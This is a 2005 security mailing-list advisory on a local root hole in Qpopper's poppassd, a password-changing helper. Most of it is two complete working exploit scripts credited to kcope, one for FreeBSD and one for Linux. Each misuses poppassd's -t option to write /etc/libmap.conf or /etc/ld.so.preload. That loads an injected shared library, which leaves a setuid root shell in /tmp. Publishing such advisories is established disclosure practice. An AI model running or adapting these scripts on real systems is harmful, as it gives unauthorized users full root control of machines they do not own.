From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 27 Sep 2005 15:25:23 +0200
Subject: [EXPL] Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, ld.so.preload)
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Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, ld.so.preload)
------------------------------------------------------------------------
SUMMARY
" <http://netwinsite.com/poppassd/>; Poppassd is a program that changes
system passwords thus allowing users to change their mail passwords."
Lack of proper permission validation allows attackers to gain root
privileges and execute arbitrary code using Qpopper poppassd.
DETAILS
FreeBSD Exploit:
#!/bin/sh
######################################
# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope ##
# tested on FreeBSD 5.4-RELEASE
##
######################################
POPPASSD_PATH=/usr/local/bin/poppassd
HOOKLIB=libutil.so.4
echo ""
echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/libmap.conf ]; then
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
if (!geteuid()) {
remove("/etc/libmap.conf");
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs
/tmp/xxxx",NULL);
}
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/libmap.conf
echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf
su
if [ -f /tmp/xxxx ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/xxxx
else
echo "Sorry, exploit failed."
fi
#EoF
Linux Exploit:
#!/bin/sh
######################################
# Linux Qpopper poppassd latest version local r00t exploit by kcope ##
# August 2005 ##
# Confidential - Keep Private! ##
######################################
POPPASSD_PATH=/usr/local/bin/poppassd
echo ""
echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/ld.so.preload ]; then
echo "OOPS /etc/ld.so.preload already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
if (!geteuid()) {
setgid(0);
setuid(0);
remove("/etc/ld.so.preload");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s
/tmp/suid",NULL);
}
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
unlink("/tmp/suid");
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/ld.so.preload
echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload
su
if [ -f /tmp/suid ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/suid
else
echo "Sorry, exploit failed."
fi
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:kingcope@gmx.net.> kcope .
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